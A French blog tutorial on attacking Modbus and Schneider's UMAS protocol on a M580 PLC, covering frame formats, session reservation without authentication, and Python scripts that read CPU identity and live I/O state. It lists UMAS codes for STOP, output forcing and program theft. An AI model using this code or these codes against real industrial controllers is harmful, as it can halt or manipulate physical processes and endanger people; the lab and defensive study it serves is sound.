Hacker le port 502 pour les nuls (Modbus/UMAS/SCHNEIDER)

Apprendre le pentest OT en partant de zéro : comprendre Modbus et le port 502, puis reverser UMAS (le protocole propriétaire de Schneider) depuis deux captures réseau, jusqu'à arrêter un M580, forcer ses sorties et voler son programme.

Le Schneider M580 et ses modules d'E/S sur le rack

Salut

Aujourd’hui, direction les automates industriels (les PLC, Programmable Logic Controllers) : ces grosses boîtes qui pilotent des presses, des convoyeurs, des stations d’épuration… bref, des trucs qui bougent dans la vraie vie. Et on va voir plus précisément ensemble le port 502 et ses faiblesses.

Petit contexte. Je bosse en cybersécurité industrielle et en pentest, et au taf on développe un boîtier de cybersécurité OT tout-en-un. Il me fallait une démo qui claque pour montrer, concrètement, ce qu’un attaquant peut faire à un automate industriel : quoi de mieux qu’un vrai automate qu’on arrête et qu’on pilote à distance, en live ?

Bref, l’excuse parfaite pour faire investir ma boîte dans des jouets. J’ai donc récupéré un Schneider M580 dans notre réserve, fait commander une jolie presse plieuse en « Lego » (une vraie maquette fischertechnik) et tout l’attirail autour (câble, alimentation, disjoncteur, outillage, adaptateur USB-série…), et je me suis improvisé automaticien (et electricien à nouveau) le temps d’un week-end pour lui pondre un petit programme rien que pour l’occasion. Voilà la bête en action :

La maquette en action : le cycle normal de la presse plieuse.

Une fois le jouet monté et le programme injecté et testé, j’ai voulu causer à l’automate qui le pilote, ce fameux M580. Et je me disais : Modbus (logique pour du Schneider : ce protocole de 1979 a été inventé par Modicon, le fabricant d’automates que Schneider a racheté depuis), c’est vieux et c’est simple, je vais piloter ses sorties en deux-deux, sans sourciller.

Sauf que… non. L’automate répondait bien, mais mes sorties, rien. Comme s’il était vide. Du coup, forcément, je l’ai un peu pris en grippe, et je me suis mis en tête de le hack.

« C'est vieux et simple, ça va être rapide », qu'il disait

Puisque je ne pouvais pas l’attaquer en Modbus directement, j’ai fait le truc bête et efficace : pendant que je bossais dessus avec le logiciel proprio de Schneider (EcoStruxure Control Expert), j’ai enregistré les communications entre le PC et l’automate, histoire de comprendre ce qu’ils se racontent et de l’imiter.

Et à partir de juste deux captures réseau (et un peu de lecture en ligne, bien que mal documenté), j’ai reconstruit le protocole propriétaire de Schneider, UMAS : démarrer/arrêter l’automate, forcer ses sorties, et même récupérer le code source du programme qui tourne dedans.

Mais avant de rentrer dans UMAS, faut poser les bases. Promis, je t’explique tout depuis le début, niveau débutant, on va y aller tranquille.

D’abord, c’est quoi Modbus ?

Modbus, c’est le protocole de l’industrie. Il date de 1979 et il est encore partout. Pourquoi ? Parce qu’il est simple. Tellement simple qu’on va le comprendre en deux minutes (et sa spec est publique et gratuite, ce qui n’a pas dû nuire à son succès).

C’est gros comment ? D’après l’étude annuelle Industrial Network Market Shares de HMS Networks (qui mesure les nouveaux nœuds réseau installés dans le monde), Modbus pèse autour de 8 % du marché en 2026, soit ~5 % en TCP et ~3 % en RTU. Et ça recule doucement chaque année, parce que l’Ethernet industriel grignote tout le terrain (environ 79 % des nouveaux nœuds, avec PROFINET et EtherNet/IP en tête). Mais 8 % des installations mondiales pour un protocole né en 1979, ça reste énorme. Bref, il est loin d’être mort.

Parts de marché des réseaux industriels en 2026 (HMS Networks) : Ethernet industriel 79 %, Fieldbus 14 %, sans-fil 7 %, dont Modbus environ 8 % (5 % TCP + 3 % RTU).

Il y a un maître (qui pose des questions) et des esclaves (qui répondent). Le maître demande « donne-moi la valeur du capteur 3 », l’esclave répond « 42 ». Classique.

Tout tourne autour de 4 types de données :

TableC’est quoiTailleLire / ÉcrireAdresse « classique »
Coilsbits de sortie (une vanne, un relais)1 bit0x01 / 0x05·0x0F0xxxx (00001+)
Discrete inputsbits d’entrée (un bouton, un capteur ToR)1 bit0x02 / lecture seule1xxxx (10001+)
Input registersmots 16 bits en entrée (une température)16 bits0x04 / lecture seule3xxxx (30001+)
Holding registersmots 16 bits modifiables (une consigne)16 bits0x03 / 0x06·0x104xxxx (40001+)

Chaque table a ses codes fonction (colonne « Lire / Écrire » ci-dessus) : 0x01/0x03 pour lire des bits/des mots, 0x05/0x06 pour en écrire un seul, 0x0F/0x10 pour en écrire plusieurs d’un coup.

Le piège classique de l’adressage. La notation « 4x » est en base 1, le protocole en base 0 : le holding register 40001 de la doc = adresse 0 sur le fil (et 40002 = adresse 1). Ce petit décalage peut rendre fou.

Tu vois le truc : lire/écrire des cases mémoire. C’est tout. Pas de chichi.

Concrètement, « lis-moi 1 registre à l’adresse 0 » tient en quatre octets : 03 0000 0001 (fonction 3, adresse 0, quantité 1). L’auto répond 03 02 002A : fonction 3, 2 octets de données, valeur 0x2A = 42. Et voilà, t’as lu ton capteur. C’est littéralement ça, Modbus.

Et quand ça foire ? L’esclave ne se tait pas : il répond avec le function code + 0x80, suivi d’un code d’exception. Tu lis (FC 0x03) une adresse qui n’existe pas, il répond 83 02 (0x83 = 0x03 | 0x80, 0x02 = Illegal Data Address). Les classiques : 01 fonction inconnue, 02 mauvaise adresse, 03 valeur interdite, 04 l’esclave a planté. Astuce de scan, tout ce qui ne renvoie pas d’exception… existe.

Et pour savoir à qui tu parles ? Deux fonctions d’identité côté esclave : 0x11 (Report Slave ID, à l’ancienne, renvoie un petit blob « modèle + état RUN/STOP »), et surtout 0x2B/0x0E (Read Device Identification, la version moderne : vendeur, produit, version, en clair).

⚠️ À noter : Modbus n’a “aucune” authentification. Aucune. Si tu peux parler au protocole, tu peux tout lire et tout écrire. Le protocole a été conçu dans un monde où « le réseau est physiquement isolé donc on s’en fout ». Sauf qu’aujourd’hui… bah le réseau est plus trop isolé 🙃.

Modbus RTU : la version « câble »

À la base, Modbus parle sur du série. C’est la version RTU, le nom du mode de transmission binaire de Modbus sur série (par opposition au mode « ASCII », plus verbeux et quasi disparu). Rien à voir avec les Remote Terminal Units du monde SCADA : c’est juste un homonyme malheureux. En gros, un câble, un ou plusieurs automates dessus, et une trame toute bête :

[ Adresse esclave ] [ Function code ] [ Données ] [ CRC ]
        1 octet           1 octet         n          2 octets

L’adresse dit à qui tu parles (0 = broadcast à tout le monde, 1 à 247 = un esclave précis), le function code dit quoi faire, les données… bah les données, et le CRC c’est juste pour vérifier que rien n’a été corrompu sur le câble.

Le câble, justement : RS-232, RS-422, RS-485

Ce « série », concrètement, c’est l’un de ces trois standards électriques. Ils font tous circuler des octets sur des fils, mais pas de la même façon :

StandardTopologieDuplexNœudsDistanceSignal
RS-232point-à-pointfull-duplex2~15 masymétrique (référencé à la masse)
RS-4221 émetteur -> N récepteurs (point-à-multipoint)full-duplex1 + 10~1200 mdifférentiel
RS-485bus multidrophalf ou full-duplex32~1200 mdifférentiel

Le RS-232 est le plus vieux et le plus simple, une liaison directe entre deux appareils seulement, sur quelques mètres, avec un signal fragile parce que mesuré par rapport à une masse commune. Le RS-422 et le RS-485 passent à un signal différentiel (l’info est portée par l’écart entre deux fils), bien plus résistant au bruit électrique d’une usine, et tiennent ~1200 m. Le RS-485 va plus loin : c’est un vrai bus où plusieurs dizaines d’équipements se partagent la même paire de fils, ce qui en fait le support préféré de Modbus RTU. Le RS-422, lui, garde un seul émetteur qui diffuse vers plusieurs récepteurs (point-à-multipoint, sens unique) : personne d’autre ne parle sur la ligne, donc pas d’arbitrage. C’est toute la différence avec le bus du RS-485, où plusieurs équipements se partagent le fil et causent chacun leur tour. D’où un RS-422 plus rare dans ce contexte.

Les trois se croisent souvent sur le même connecteur DB9. Même boîtier ne veut pas dire compatible pour autant : le brochage change, et les niveaux électriques sont incompatibles. Brancher du RS-232 sur du RS-485 via le même DB9 ne marchera pas, et peut même griller le port.

RS-232, RS-422 et RS-485, pareil ?

À quoi ressemblent physiquement ces liaisons série

Le bus RS-485, donc : une paire de fils torsadés où tout le monde est branché en parallèle (multidrop), en half-duplex, on cause chacun son tour sur le même fil. Un seul maître pose les questions, les esclaves répondent quand on les appelle. L’adressage monte à 247 esclaves, mais l’électrique du RS-485 en tient 32 sur le bus (maître compris) sans répéteur. Le maître interroge l’esclave 3, l’esclave 3 répond, les autres se taisent. Aux deux bouts du câble, une résistance de terminaison (150 Ω côté Modbus, 120 Ω en RS-485 générique) pour tuer les échos.

Comment on sait où finit une trame ? Surprise : y’a pas de champ « longueur » en RTU. Le délimiteur, c’est le silence sur le fil : 3,5 caractères de blanc = « trame finie, la suivante commence » (au-dessus de 19200 bauds c’est figé à ~1,75 ms). Un trou de plus d’1,5 caractère au milieu d’une trame, et elle est jetée. Vieux, mais robuste. (Petit aparté : une liaison série se règle avec trois réglages, qu’on note d’un bloc, genre 8E1 = 8 bits de données, parité paire (Even), 1 bit de stop. La parité, c’est un bit de contrôle ajouté après les données : en parité paire, il vaut 0 ou 1 pour que le nombre total de bits à 1 reste pair, ce qui permet de repérer un bit qui aurait basculé en route. Exemple : l’octet A = 01000001 a deux bits à 1 (déjà pair) -> bit de parité 0 ; l’octet C = 01000011 en a trois (impair) -> bit de parité 1. En 8N1, ce bit n’existe pas du tout. La norme Modbus impose 8E1, mais en pratique presque tout le monde configure 8N1 (N = sans parité), techniquement hors-spec, et ça marche quand même. L’OT, c’est ça aussi.)

Tu veux fabriquer la trame toi-même ? Le seul truc un peu « technique », c’est le CRC, et ça tient en 6 lignes :

def crc16(t):                         # CRC-16/Modbus
    c = 0xFFFF
    for b in t:
        c ^= b
        for _ in range(8):
            c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
    return c.to_bytes(2, "little")

trame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x01])   # esclave 1 : lire 1 registre @0
print((trame + crc16(trame)).hex())                   # -> 010300000001840a

Et pour viser l’esclave 3 au lieu du 1 ? Tu changes juste le premier octet (le CRC se recalcule tout seul) :

trame = bytes([0x03, 0x03, 0x00, 0x00, 0x00, 0x01])   # esclave 3, FC03, @0, 1 registre
print((trame + crc16(trame)).hex())                   # -> 03030000000185e8

Ça, c’est pour comprendre. En vrai tu ne recodes pas le CRC à la main : un outil tout fait comme mbpoll (ou la lib Python minimalmodbus) s’en charge.

# lire 1 holding register (esclave 1, adresse 0) sur le bus série
mbpoll -m rtu -a 1 -t 4 -r 1 -c 1 -b 9600 /dev/ttyUSB0

Décortiquée :

  • -m rtu : mode série (sans ça, mbpoll partirait en TCP, son défaut).
  • -a 1 : l’esclave visé (adresse 1).
  • -t 4 : le type de donnée, ici holding register (la table 4x, lue par la fonction 0x03).
  • -r 1 : l’adresse de départ. Attention, mbpoll compte en base 1, donc -r 1 correspond à l’adresse 0 sur le fil.
  • -c 1 : combien de valeurs on lit (une seule).
  • -b 9600 : le débit du bus, en bauds.
  • /dev/ttyUSB0 : le port série (typiquement ton adaptateur USB-RS485).

Petit clin d’œil au 8E1 de tout à l’heure : par défaut mbpoll est en parité paire ; si ton device est en 8N1, ajoute -P none.

Pas d’IP, pas de port, pas de TCP. Juste des octets sur un câble. Rustique, mais ça tourne encore partout. Et si besoin de t’y connecter avec ton PC, il te faut juste l’adaptateur USB-série correspondant au port que tu vises (USB-RS485 pour du Modbus RTU classique).

Un adaptateur USB vers RS-485

Modbus TCP : le même, mais sur le réseau

Un jour on a voulu faire passer Modbus sur Ethernet / TCP-IP (le réseau classique, pas le protocole EtherNet/IP d’Allen-Bradley, qui est un truc complètement différent ; le nommage industriel est un cauchemar 🙃). Du coup on garde le cœur (function code + données), on jette l’enrobage série devenu inutile (l’adresse esclave et le CRC, vu que l’intégrité est déjà gérée en dessous : le CRC-32 d’Ethernet, et accessoirement le checksum TCP), et on colle un petit en-tête devant : le MBAP.

Ça donne ça, sur le port 502 :

| MBAP (7 octets) | Function code | Données |

MBAP =  [ Transaction ID ][ Protocol ID = 0 ][ Length ][ Unit ID ]
            2 octets           2 octets        2 oct.   1 octet
  • Transaction ID : un compteur pour matcher question/réponse.
  • Protocol ID : toujours 0.
  • Length : combien d’octets suivent.
  • Unit ID : pour viser une unité précise (un esclave série derrière une passerelle, ou une sous-unité d’un équipement). On y revient juste après.

Et c’est tout. Tu te connectes en TCP sur le 502, tu balances tes function codes, et l’automate obéit. Toujours pas d’authentification. Tu sens venir le truc.

« Et le Modbus sécurisé, alors ? » Il existe : c’est le Modbus/TCP Security (Modbus Organization, 2018). Du TLS par-dessus Modbus, sur le port 802 au lieu du 502, avec certificats X.509 des deux côtés et même une autorisation par rôle (le rôle est planqué dans une extension du certificat). Sur le papier, c’est propre, et c’est clairement la bonne direction. Le vrai frein, c’est l’adoption : encore peu déployé sur le terrain (parc existant, rétrocompatibilité), mais c’est exactement vers ça qu’il faut pousser.

Le Modbus sécurisé ? Bof. Le Modbus tout nu ? Parfait.

Deux subtilités qui servent. Le Unit ID (l’héritier direct de l’adresse esclave du RTU) a l’air redondant pour un automate adressé directement, puisque l’IP identifie déjà la machine. La spec officielle recommande d’ailleurs d’y mettre 0xFF (255) comme valeur « non-significative », la valeur 0x00 étant aussi acceptée pour l’adressage direct. Dans mes captures du M580, tout part en Unit ID 0 : Control Expert cause directement au CPU, sans passerelle ni esclave série derrière.

Mais « redondant » ne veut pas dire « inutile ». C’est un champ de routage : une même IP peut très bien exposer plusieurs unités qu’on distingue par leur Unit ID, sans forcément de série au bout. Deux cas classiques, une passerelle TCP vers un bus série (là le Unit ID reprend son rôle d’adresse d’esclave 1 à 247), ou un équipement multi-CPU / à fond de panier qui route la requête vers le bon rack. C’est pour ça qu’on peut parfaitement dialoguer avec des « esclaves » différents sur une seule IP. Côté conventions, rien d’ésotérique : les valeurs 1 à 247 sont de simples adresses, et les seules réservées sont 0 (broadcast) et la plage 248-255, mais uniquement dans le monde série. En TCP natif, 0 n’est pas un broadcast, juste de l’adressage direct.

Quant au Transaction ID, il te laisse envoyer plusieurs requêtes sans attendre les réponses : chacune recopie l’ID de sa question, tu réassocies. Retiens ce détail, parce qu’en UMAS ce compteur est côté client et survit même à une reconnexion TCP (on y reviendra).

Lire un registre sur un vrai automate, du coup, c’est 3 lignes :

import socket
s = socket.create_connection(("10.1.2.60", 502))
s.send(bytes.fromhex("000100000006000300000001"))    # MBAP + FC03 : lire 1 registre @0
print(s.recv(256).hex())                             # le MBAP de la réponse + la valeur

Décortiquons ces octets, 0001 0000 0006 00 03 0000 0001 :

  • 0001 : Transaction ID (le compteur qui apparie question et réponse).
  • 0000 : Protocol ID (toujours 0 en Modbus).
  • 0006 : Length, le nombre d’octets qui suivent.
  • 00 : Unit ID (0 = on parle directement au CPU).
  • 03 : la fonction, lire des holding registers.
  • 0000 : l’adresse de départ (registre 0).
  • 0001 : la quantité (1 registre).

En vrai tu ne comptes pas les octets à la main : pymodbus fait pareil en plus lisible :

from pymodbus.client import ModbusTcpClient        # pip install pymodbus
c = ModbusTcpClient("10.1.2.60")
print(c.read_holding_registers(0, count=1).registers)   # lire 1 holding reg @0

Et si tu veux la version « une ligne de terminal », c’est exactement le même mbpoll qu’en série, juste basculé en mode TCP :

# lire 1 holding register @0 sur l'automate, en TCP (port 502)
mbpoll -m tcp -a 1 -t 4 -r 1 -c 1 -1 10.1.2.60      # -1 = une seule lecture (pas de polling en boucle)

Le cadenas maison : quand l’auth est bricolée dans le programme

Puisque Modbus n’a aucune authentification native, on tombe parfois sur une parade artisanale, et j’en ai déjà croisé une en vrai dans un lab OT: l’ingénieur code un verrou directement dans la logique du PLC. Le programme n’autorise les commandes que si un certain bloc de registres contient la bonne « passphrase ». Tu veux piloter le procédé ? Écris d’abord le mot de passe (souvent un texte ASCII, un caractère par registre) dans les registres dédiés, et alors seulement la logique déverrouille les écritures. Dans mon cas, tant que la passphrase n’était pas posée dans le bon bloc de registres, le moindre changement de consigne était ignoré.

Ça ressemble à ça, en Modbus pur (aucun UMAS là-dedans) :

from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.1.2.60"); c.connect()

mdp  = "UNLOCK-1234"
vals = [ord(ch) for ch in mdp]                       # -> [85, 78, 76, 79, 67, 75, 45, 49, 50, 51, 52]
c.write_registers(2000, vals)                        # FC16 : écrit la liste EN SÉRIE à partir de 2000
                                                     #   reg 2000 = 85 ('U'), 2001 = 78 ('N'), 2002 = 76 ('L')...
# le programme voit la bonne passphrase dans le bloc, et débloque les écritures :
c.write_register(1034, 42)                           # une consigne de procédé, désormais acceptée

Deux points qui coincent souvent là-dessus. Un : ord(ch) te donne le code numérique du caractère, et décimal ou hexa c’est la même valeur (ord('U') = 85 = 0x55) ; pymodbus attend un entier, donc pas besoin de « convertir en hexa », 85 et 0x55 écrivent le même octet. Deux : write_registers(2000, [...]) (fonction 0x10, Write Multiple Registers) écrit la liste en série à partir de l’adresse donnée : 1er élément dans le registre 2000, 2e dans 2001, 3e dans 2002, etc. Chaque registre faisant 16 bits, un caractère (1 octet) laisse l’octet de poids fort à zéro (reg 2000 = 0x0055).

Certains équipements réels le font (ils exposent un « registre mot de passe » et un « registre d’état d’accès »), et ça se rejoue souvent via la fonction 0x17 (Read/Write Multiple Registers), qui lit et écrit dans la même transaction. Mais soyons clairs, c’est de la sécurité par obscurité : le mot de passe circule en clair, donc un sniff + rejeu suffit, et à défaut on écrit juste les bonnes valeurs. Le lab corsait le truc en éparpillant la passphrase sur des registres non contigus (la version « aléatoire ») : plus de bloc à lire ou à rejouer d’un coup, il faut d’abord retrouver quel registre porte quel caractère.

Lire une valeur : le piège de l’endianness

Que tu sois en RTU ou en TCP, lire un registre c’est pareil : seul l’emballage change (le CRC d’un côté, le MBAP de l’autre). Là où les gens galèrent, c’est pour décoder la valeur qui revient.

Un registre = 16 bits, big-endian (octet de poids fort d’abord). La réponse … 00 2A se lit donc directement 0x002A = 42. Jusque-là, tranquille.

Le souci arrive avec les valeurs 32 bits (un float, un compteur long) : elles tiennent sur 2 registres, et l’ordre des deux mots n’est pas standardisé. Chaque constructeur fait un peu ce qu’il veut. Un même float 3.14 (= 0x4048F5C3 en IEEE-754) peut donc débarquer sous 4 formes :

OrdreRegistres (hex)Lus en décimalPetit nom
mot fort d’abord4048 F5C316456 62915ABCD (big-endian)
mots inversésF5C3 404862915 16456CDAB (word-swap)
octets inversés4840 C3F518496 50165BADC (byte-swap)
tout inverséC3F5 484050165 18496DCBA (little-endian)

Même valeur, 4 représentations. Si t’attends 3.14 et que tu lis -4.9e+32, t’as juste pris le mauvais ordre. Le réflexe : un convertisseur Modbus en ligne, tu colles tes 2 registres et tu testes les 4 ordres jusqu’à tomber sur une valeur qui a un sens physique. En Python, struct fait pareil :

import struct
def lire_float(r1, r2, swap=False):       # r1, r2 = les 2 registres lus
    if swap: r1, r2 = r2, r1              # certains devices inversent les mots (CDAB)
    return struct.unpack(">f", struct.pack(">HH", r1, r2))[0]

print(lire_float(0x4048, 0xF5C3))             # -> 3.14   (ordre ABCD)
print(lire_float(0xF5C3, 0x4048, swap=True))  # -> 3.14   (device en CDAB, on remet d'aplomb)

Une valeur Modbus, tu ne la « lis » jamais vraiment tant que tu n’as pas confirmé son type (16/32 bits, signé ? float ?) et son ordre d’octets. La doc du device est ton amie. Garde ça en tête si tu fais le prolab Alchemy de HackTheBox :ptsd:

Le twist : en Modbus « pur », l’automate a l’air presque vide

Petite subtilité qui change tout. Sur un automate Schneider moderne (M340, M580, en gros depuis l’ère Unity Pro / Control Expert, milieu des années 2000), les entrées/sorties physiques ne sont PAS exposées directement en Modbus.

Pourquoi ? Parce que ces automates utilisent un adressage topologique, calé sur la position physique du matériel. Et il en existe plusieurs formes : la forme courte pour une E/S du rack local, %I0.1.2 (rack 0, module 1, voie 2), et une forme longue pour les E/S déportées, qui préfixe le chemin bus/station, %I\b.e\r.m.c (bus, équipement déporté, rack, module, voie). Ajoute à ça les objets de diagnostic implicites (%I4.2.MOD.ERR, %I4.2.3.ERR) et la vue « objet » IODDT (%CH...) : plein de façons de désigner la même voie, et pas une seule qui soit une « case Modbus » classique. C’est justement la forme longue des E/S déportées qui m’a fait un peu galérer.

Pour qu’une E/S soit lisible en Modbus standard (0x01, 0x03…), l’ingénieur doit explicitement la recopier dans une variable mappée (%M, %MW), la seule zone que le serveur Modbus du M340/M580 expose. Tant qu’il ne l’a pas fait, un scan Modbus « bête » sur le port 502 te renvoie… presque rien. Sur les vieux Quantum de l’ère Concept, c’était même l’inverse : la « State RAM » historique était la table Modbus, et les E/S y étaient mappées d’office sur des adresses fixes. Bref, un point sur lequel j’ai un peu galéré pour mes scénarios d’attaque, quand j’ai commencé mon alchimie d’apprenti automaticien.

Du coup on entend parfois « le Modbus c’est sécurisé par défaut, il n’expose rien ». Et c’est vrai… au sens strict des function codes Modbus. Sauf que ce n’est pas une vraie barrière de sécurité :

Le vrai point. Modbus est un standard ouvert (tout le monde connaît ses function codes), mais sur un M580 il ne montre que ce qu’on a bien voulu mapper. UMAS, lui, est propriétaire (encapsulé dans 0x5A) mais tourne sur le même port 502. Et il lit l’image des E/S, les variables et la mémoire en direct, mapping ou pas, sans authentification. L’open source a l’air vide ; c’est le protocole fermé qui détient les clés. La vraie surface d’attaque, c’est UMAS.

À quoi ça ressemble en vrai ? Un mbpoll (ou un nmap --script modbus-discover) qui lit les registres standards de mon M580 ne renvoie rien d’exploitable (rien n’est mappé). La même cible, en UMAS (fonction 0x70, qu’on détaille juste après), me rend l’état live des 8 sorties du module, mapping ou pas.

Même IP, même port 502. L’un voit une boîte vide, l’autre voit tout.

Autrement dit, l’attaquant qui ne regarde « que le Modbus » voit une boîte presque muette et se dit « bof, rien à gratter ». Celui qui parle UMAS lit tout, force tout, et repart avec le programme. Bon. On y va.

L'entrée en scène d'UMAS

Et là débarque UMAS

Lire/écrire des registres, c’est mignon, mais quand un ingénieur programme un automate Schneider avec son logiciel (EcoStruxure Control Expert), il fait des trucs beaucoup plus balèzes : il télécharge un programme, il met l’auto en RUN/STOP, il force des sorties, il affiche les variables en live…

Tout ça ne tient pas dans les fonctions Modbus classiques. Alors Schneider ont encapsulé leur propre protocole propriétaire à l’intérieur de Modbus, sous un seul function code réservé : 0x5A (90).

UMAS, le protocole propriétaire encapsulé dans le function code 0x5A de Modbus

Ce protocole propriétaire, c’est UMAS (Unified Messaging Application Services). Officiellement non documenté, mais bien décortiqué par la communauté (Kaspersky, dissecteurs Wireshark…) depuis quelques années ; mon analyse recoupe la leur. Et c’est lui qu’on va éplucher.

La trame UMAS, c’est juste Modbus TCP, et après le 0x5A :

| MBAP | 0x5A | session (1o) | fonction UMAS (1o) | données |
  • session : un octet « clé de session » (on y revient, c’est le cœur du problème).
  • fonction UMAS : le vrai code d’opération (genre 0x40 = RUN, 0x41 = STOP, 0x71 = forcer une sortie…).

Dans mes deux captures, 100 % du trafic applicatif passe par 0x5A. UMAS est le payload de cette fonction Modbus. J’y ai retrouvé une vingtaine de fonctions UMAS distinctes, mais le protocole en compte bien plus. Je ne suis d’ailleurs pas parti de zéro : la communauté a déjà bien décortiqué UMAS, par exemple sur le blog lirasenlared. J’ai recoupé sa table avec mes captures : sur les fonctions que j’ai réellement vues passer (réservation, monitoring, forçage, transfert), les octets collent. Voici l’inventaire, les plus juteuses côté attaquant en gras.

CodeCe que ça fait
0x01init d’une communication UMAS
0x02lire l’identité du CPU (« BME P58 2040 », un M580)
0x03lire les infos du projet
0x04 / 0x06infos internes du PLC / infos de la carte SD
0x10réserver l’automate (le préalable à toute écriture)
0x11 / 0x12libérer la réservation / keep-alive
0x20lire un bloc mémoire (dont le hash du mot de passe, voir plus bas)
0x21écrire un bloc mémoire
0x22 / 0x23lire / écrire des variables (bits et mots système, variables)
0x24 / 0x25lire / écrire coils et registres
0x26dictionnaire de données (la table des symboles)
0x28 / 0x29lire / écrire à une adresse physique
0x30-0x32transfert de programme, sens PC vers automate
0x33-0x35transfert de programme, sens automate vers PC (le vol de code)
0x36sauvegarde/restauration sur carte SD
0x39lecture des données maître Ethernet
0x40 / 0x41 / 0x42RUN / STOP / INIT
0x50monitoring des variables en live
0x52lire les bits forcés
0x58statut de connexion et diagnostic
0x60-0x66debug : points d’arrêt, pas à pas, pile d’appels
0x6Eéchange de nonces d’authentification (au cœur du contournement d’auth)
0x70lire l’image des E/S (sans réservation)
0x71forcer une sortie (à 0, à 1, déforcer, reset)
0x72 / 0x73infos du rack / statut d’un module
0xFE / 0xFDréponse OK / réponse d’erreur du PLC

Le « sans mot de passe », sérieux ?

Sérieux. Précisons quand même tout de suite : ce que je décris ici, c’est le cas où aucun mot de passe applicatif n’a été configuré sur l’automate. Et c’est malheureusement trop fréquent sur le terrain : le mot de passe applicatif est désactivé par défaut, et il le reste souvent. Le cas où quelqu’un a pris la peine d’en poser un (correctement), on le garde pour plus bas ; ça devient nettement plus intéressant.

La seule poignée de main pour prendre la main sur l’automate, c’est la réservation (0x10). Le client envoie… juste le nom de son PC. Et l’auto répond avec un identifiant de session sur 1 octet.

PC  -> PLC :  5A 00 10  845C0000 0F  "BOOK-1O96RBKNNR"   (je réserve, voici mon nom)
PLC -> PC  :  5A 00 FE  19                                (ok, ta session = 0x19)

Wireshark : la réservation à l'octet, fonction UMAS 0x10 et le nom du PC en clair Wireshark : la réservation UMAS, un nom de PC contre une clé de session

Il existe d’ailleurs des dissecteurs Wireshark pour UMAS maintenant, je t’invite à jeter un œil à celui de biero et à celui de zaltzman.

C’est. Tout. Pas de mot de passe, pas de challenge, pas de crypto. Rien. Tu donnes un nom (n’importe lequel), tu reçois 0x19, et ensuite il te suffit de recoller cet octet dans chaque trame pour faire ce que tu veux : STOP, forçage, reprogrammation…

En vrai, parler à un M580 ça tient en 12 lignes de Python pur. Réserver (= balancer un nom bidon), récupérer la session, lire l’identité du CPU :

import socket
s = socket.create_connection(("10.1.2.60", 502)); tid = 1
def umas(session, func, data=b""):
    global tid
    pdu = bytes([0x5A, session, func]) + data
    s.send(tid.to_bytes(2,"big") + b"\x00\x00" + (len(pdu)+1).to_bytes(2,"big") + b"\x00" + pdu)
    tid += 1; r = s.recv(512); return r[8], r[9], r[10:]   # session, statut, données

_, _, d = umas(0x00, 0x10, bytes.fromhex("845c0000") + b"\x05HELLO")   # réserver (nom bidon)
sess = d[-1]                                                          # la session qu'on nous attribue
print("session =", hex(sess))                                        # -> 0x19
print("identité :", umas(0x00, 0x02)[2])                             # lire le CPU

Lecture seule, rien de cassé. Pour le STOP et le forçage c’est le même principe (un octet de fonction qui change).

⚠️ En clair : quiconque atteint le port 502 peut réserver l’automate et le piloter, du moins dans ce cas-là où il n’y a pas d’authentification. La « réservation » n’est pas une sécurité, c’est juste un verrou pour éviter que deux ingénieurs écrivent en même temps. Le nom du PC ? Jamais vérifié. C’est une étiquette, pas un identifiant.

Pire, dans mes captures, la session survit à la reconnexion TCP. Tu coupes, tu reviens, et tu reprends ta session sans re-réserver. L’octet de session, c’est 256 valeurs possibles, en clair, devinables. Deux CVE collent pile à ça : CVE-2022-45789 (détournement/rejeu d’une session UMAS) pour la reprise de session, et CVE-2018-7842 (brute-force de la réservation) pour l’entropie ridicule d’un seul octet.

Petit tell au passage : mes sessions valent 0x19 et 0xBE, donc des valeurs aléatoires, pas le 0x01 fixe des vieux firmwares. Ça date l’engin, parce que la clé n’est tirée au hasard qu’à partir du firmware M340 ≥ 2.7 (seuil relevé par Kaspersky ; avant, c’était toujours 0x01, encore plus trivial). Mais aléatoire ou pas, 1 octet ça fait 256 valeurs, et ça se brute-force en une poignée de secondes.

« La sécurité de l'automate », vue d'artiste

Attention quand même à ne pas surinterpréter : cette trivialité vaut tant que personne n’a activé le mot de passe applicatif. Là où il l’est, et sur un firmware à jour, rejouer l’octet de session ne suffit plus (l’écriture réclame alors un secret d’authentification, on y vient).

D’abord on regarde : lire une entrée, lire une sortie

Session ou pas, le premier réflexe c’est pas de tout casser, c’est de regarder. Et le plus fou : lire l’image des E/S ne demande même pas de réserver. Ça passe en session 0x00, non authentifiée. La réservation, c’est pour écrire. Lire, c’est cadeau.

La fonction qui fait ça, c’est 0x70 (READ_IO_OBJECT). Tu lui donnes un banc (0x01 = image des entrées %I, 0x02 = image des sorties %Q), un offset et un nombre de voies, et elle te rend 3 octets par voie. Le troisième, c’est un octet d’état qui dit tout :

bitmasquece que ça veut dire
bit00x01valeur dans l’image (ce que voit le programme)
bit10x02valeur réelle live (sur la borne physique)
bit20x04forcé
bit30x08repli (posé au passage en STOP)
bit60x40voie valide / présente

Espionner un bouton (une entrée)

Les 8 entrées de mon module BMX DDM 16025 sont à l’offset 0x00. Quelques lignes de Python pur (le helper umas() du début) rejouent la lecture en boucle pendant que quelqu’un appuie sur les boutons, le tout en session 0x00, sans même réserver :

import time

def io_pane(typ, offset, count):        # construit une requête READ_IO_OBJECT (0x70)
    return (bytes.fromhex("0400000003000120") + bytes([typ, count, 0])
            + offset.to_bytes(2, "little") + b"\x00\x00\x00\x00")

print("Appuie sur les boutons de la maquette... (Ctrl+C pour arrêter)")
while True:
    # type 0x01 = image des ENTRÉES %I, 8 voies à partir de l'offset 0x00
    _, _, d = umas(0x00, 0x70, io_pane(0x01, 0x00, 8))    # session 0x00 : lecture, pas de résa
    etats = [d[6 + 3*i + 2] for i in range(8)]            # l'octet d'état de chacune des 8 voies
    print("  ".join(
        f"E{i}:{'APPUYÉ ' if (e & 0x03) == 0x03 else 'relâché'}"   # 0x43 = 0x40|0x02|0x01 : doigt sur le bouton
        for i, e in enumerate(etats)), end="\r")
    time.sleep(0.1)

Regarder une LED (une sortie)

Même fonction, même helper io_pane(), mais type 0x02 (les sorties %Q) et l’offset des sorties (0x10 sur ce module) :

_, _, d = umas(0x00, 0x70, io_pane(0x02, 0x10, 8))    # image des SORTIES, 8 voies @0x10
print([hex(d[6 + 3*i + 2]) for i in range(8)])        # une sortie à 1 = 0x03 (valeur + live)

Une sortie normale à 1 se lit 0x03 (valeur + live). Retiens ce banc, c’est lui qui va nous servir de preuve juste après : une sortie forcée à 1 va passer à 0x07.

